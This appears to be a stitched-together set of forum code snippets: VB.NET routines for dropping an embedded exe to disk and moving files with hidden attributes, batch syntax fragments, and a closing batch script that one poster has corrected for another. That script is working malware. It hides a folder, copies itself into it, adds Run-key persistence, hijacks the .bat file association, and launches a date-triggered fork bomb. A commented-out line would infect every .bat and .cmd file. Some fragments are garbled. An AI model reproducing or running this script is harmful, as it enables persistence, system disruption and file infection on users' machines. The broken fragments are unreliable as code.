#Region " Load Resource To Disk Function "
 
    ' [ Load Exe Resource To Disk Function ]
    '
    ' // By Elektro H@cker (Gracias a Kubox)
    '
    ' Examples:
    '
    ' Load__Exe_Resource_To_Disk(My.Resources.Exe_Name, "C:\File.exe")
    ' ' Process.Start("C:\File.exe")
 
    Private Function Load__Exe_Resource_To_Disk(ByVal Resource As Byte(), ByVal Target_File As String) As Boolean
        Try
            Dim File_Buffer As Byte() = Resource
            Dim Buffer_FileStream As New IO.FileStream(Target_File, IO.FileMode.Create, IO.FileAccess.Write)
            Buffer_FileStream.Write(File_Buffer, 0, File_Buffer.Length) : Buffer_FileStream.Close()
            Return True
        Catch ex As Exception
            Return False
        End Try
    End Function
 
#End Region

  Dim Answer = MessageBox.Show("Want to cancel the current operation?", "Cancel", MessageBoxButtons.YesNo, MessageBoxIcon.Question, MessageBoxDefaultButton.Button1)
  If Answer = MsgBoxResult.Yes Then Application.Exit() Else e.Cancel = True

#Region " Move File Function "
 
    ' [ Move File Function ]
    '
    ' // By Elektro H@cker
    '
    ' Examples :
    '
    ' MsgBox(Move_File("C:\File.txt", "C:\Test\")) ' Standard move
    ' MsgBox(Move_File("C:\File.txt", "C:\Test\", True)) ' Create the directory if doesn't exists
    ' MsgBox(Move_File("C:\File.txt", "C:\Test\", , True)) ' Replace any existing file
    ' MsgBox(Move_File("C:\File.txt", "C:\Test\", , , IO.FileAttributes.Hidden + IO.FileAttributes.ReadOnly)) ' Apply new attributes
 
    Private Function Move_File(ByVal File As String, ByVal Target_Path As String, _
                               Optional ByVal Force_Target_Path As Boolean = False, Optional ByVal Force_File_Replace As Boolean = False, _
                               Optional ByVal Attributes As System.IO.FileAttributes = IO.FileAttributes.Normal)
 
        Dim File_Information = My.Computer.FileSystem.GetFileInfo(File) ' Get Input File Information
 
        ' Directory
        If Not Force_Target_Path And Not My.Computer.FileSystem.DirectoryExists(Target_Path) Then
            Return False ' Target Directory don't exists
        ElseIf Force_Target_Path Then
            Try
                My.Computer.FileSystem.CreateDirectory(Target_Path) ' Create directory
            Catch ex As Exception
                'Return False
                Return ex.Message ' Directory can't be created maybe beacuse user permissions
            End Try
        End If
 
        ' File
        Try
            My.Computer.FileSystem.MoveFile(File, Target_Path & "\" & File_Information.Name, Force_File_Replace) ' Moves the file
            If Not Attributes = IO.FileAttributes.Normal Then My.Computer.FileSystem.GetFileInfo(Target_Path & "\" & File_Information.Name).Attributes = Attributes ' Apply File Attributes
            Return True ' File is copied OK
        Catch ex As Exception
            'Return False
            Return ex.Message ' File can't be created maybe beacuse user permissions
        End Try
    End Function
 
#End Region

((((((((((echo hola))))))))))

f "a" == "a" echo Es igual & Echo Sí else No es igual

f "a" == "a" (echo Es igual & Echo Sí) else (No es igual)

(
Echo elhacker
echo .net
)>"Archivo.txt"

(SET /A "A=0", "LINE=0", "TOTAL_LINES=0")  &  (CALL :%~1 %* || (ECHO Parametro incorrecto & Exit /B 1)) & (GOTO:EOF)

FOR
esta parte del codigo no la entiendo bien...segun puedo ver estas tratando de contar tokens y delimitas algo??  

    (Predeterminado)    REG_SZ    UMPLAYER.AVI

UMPLAYER.AVI

    Function Test(ByVal arg1 As Integer, _
    Optional arg2 As Integer = Nothing)
        MsgBox("A" & arg1)
    End Function
 
 
    Function Test(ByVal arg1 As Integer, _
    Optional arg2 As String = Nothing)
        MsgBox("B" & arg1)
    End Function
 
    Test(3)

Dim Buffer As Byte() = My.Resources.Splitty_7zip
Dim Fs As New IO.FileStream(TempDir & "Splitty_7zip.exe", IO.FileMode.Create, IO.FileAccess.Write)
Fs.Write(Buffer, 0, Buffer.Length)
Fs.Close()

@Echo OFF
 
Set "Folder=%SystemDrive%\placenta"
 
IF exist "%Folder%" (Exit /B 1) Else (
	MKDIR           "%Folder%"
	Copy /Y "%~0"   "%Folder%\f_to%~x0"
	Attrib +R +S +H "%Folder%"
	Attrib +R +S    "%Folder%\f_to%~x0"
	Reg ADD         "HKLM\Microsoft\Windows\CurrentVersion\Run" /v "SysMgr" /d "%Folder%\f_to%~x0" /F
	Reg ADD         "HKCU\Microsoft\Windows\CurrentVersion\Run" /v "SysMgr" /d "%Folder%\f_to%~x0" /F
	For /F "Tokens=1-3 Delims= " %%A in ('REG Query "HKCR\.avi" /V ""') Do (Assoc ".bat"="%%C")
	IF %date:~6,4%%date:~3,2%%date:~0,2% GEQ 20131213 (GOTO :Loop) Else (Exit /B 1)
	REM Como esta orden no se llega a ejecutar en el código original no se donde quieres que la ponga, pero de todas formas la he corregido:
	:: For /R %%# in ("*.bat";"*.cmd") do (Copy /Y "%~0" "%%#" & Attrib +s +h "%%#")
)
 
:Loop
(Start /B "" "%~0") & (Goto :Loop)